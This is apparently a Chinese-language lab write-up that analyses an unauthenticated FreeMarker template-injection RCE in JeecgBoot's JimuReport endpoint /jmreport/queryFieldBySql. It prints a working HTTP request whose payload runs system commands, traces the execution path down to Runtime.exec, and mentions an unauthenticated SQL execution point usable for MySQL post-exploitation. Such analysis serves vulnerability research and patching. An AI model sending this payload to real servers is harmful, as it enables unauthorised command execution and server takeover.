这里使用的漏洞环境时vulhub的jeect-boot。靶场介绍说是:
以下的 Jimureport 组件库中都存在,由于未授权的 API /jmreport/queryFieldBySql
使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生。
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: curl/7.88.1
Accept: */*
Content-Type: application/json
Content-Length: 121
Connection: close
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/success\")}",
"type": "0"
}
这里的漏洞环境搭建是使用了jeecg-boot 3.5.3环境,从github下载即可,配置mysql和redis数据库,随后使用idea启动调试。
从JimuReportConfiguration.class我们可以看见jimu报表对于如下的路由设置了拦截器:
"/jmreport/queryFieldBySql"
"/jmreport/loadTableData",
"/jmreport/dictCodeSearch"
可以发现他的具体代码在这个位置的a.class
首先从json中解析到了sql,把这个变量的参数放到i.a(var2)去执行,跟进这里:
可以发现是做sql注入拦截的,waf一样的存在。继续往下走
在这里进行执行了,传入了var2,var3,var4,var5
他们分别是在json中传入的参数:
sql
dbSource
paramArray
type
但是在payload中传入的只有:sql和type=0(这里type内容是什么都可以,但要有type这个,可以为空,但一定要穿进去)
然后继续跟Map var12 = this.reportDbService.parseReportSql(var2, var3, var4, var5);
这里传入的var2是:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("open -a Calculator.app")}
随着继续跟进,不用看type,因为不影响。直接看sql
这里走入的是第二个sql的,因为paramArray是null
我们在f.a打断点,继续跟进,是在这里实现rce的
这里的var0 = b(var0, var1);返回的不变,没有改变,来到了var0 = a(var2, var0);
随后在a中,调用了:var1 = FreeMarkerUtils.a(var1, var2);
这边继续来到FreeMarkerUtils.a
在这里执行了命令:(new Template("template", new StringReader(var0), var2)).process(var1, var3);
跟踪process
随后继续跟踪process,从getRootTreeNode进入
来到了进入this.doAutoImportsAndIncludes(this);
继续跟进env.getMainTemplate();
这里的功能主要是针对自动导入和包含功能的调用
该环境对象具有许多属性和方法,用于处理模板的渲染和执行。这些属性和方法包括配置(configuration)、根数据模型(rootDataModel)、指令堆栈(instructionStack)、异常处理器(templateExceptionHandler)等。
在给定的代码中,我看到了一个模板字符串的定义 "<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("open -a Calculator.app")}"。这里使用了FreeMarker模板语法来定义一个变量 ex,并使用其调用了系统命令 open -a Calculator.app。
随后进入,继续追踪,这里我们看到了调用了this.visit。而visit主要是:对该元素进行访问处理。
在这里的element,就是创建new一个模板。(后续visit也是会反复调用自己,从反射调用类到获取命令)
这里可以看到,TemplateElement类型的变量里,valueExp为:freemarker.template.utility.Execute"?new()
"freemarker.template.utility.Execute"?new() 是FreeMarker模板语法中的一种使用方式,用于执行系统命令。通过这种方式,攻击者可以在受影响的应用程序上执行操作系统命令,并可能导致潜在的安全问题。
而且继续跟踪的,可以看到el的内容成为了${ex("open -a Calculator.app")}
一方面是创建了一个可以执行命令的模板,另一方面是把将要执行的命令拆出来,继续调用自己一遍
这里的变量内容
在调用自己之后,会回到这个函数accept方法里
随后这里调用eval,和刚才传进来的
具体在这里执行命令:
constantValue = {SimpleScalar@19070} "freemarker.template.utility.Execute"
value = "freemarker.template.utility.Execute"
继续跟踪,来到了eval里的this._eval(env),在_eval里调用了ConstructorFunction,这里也就是反射调用了
freemarker.template.utility.Execute
反射后,创建新的对象
那如何获得执行的具体命令是什么呢?(之前只是对执行命令类部分的分析)
随着他visit调用自身,最后来到了accept方法中,
不断的跟踪下去,即可发现,最终来到了Runtime.getRuntime().exec(aExecute);
成功执行了命令
最终附上执行命令的总体流程
这个漏洞其实并没有什么难得,主要就是跟踪一下,最后是可以发现rce的触发点。同时这里不光有freemarker的rce,还有sql注入点,可以直接未授权执行sql语句。也许可以继而mysql后渗透,通过mysql控制服务器。
这里我随便执行一下,创建了一个用户:
不过在后续的版本中,官方也是给这里增加了权限设置,之前这里都是未授权访问的。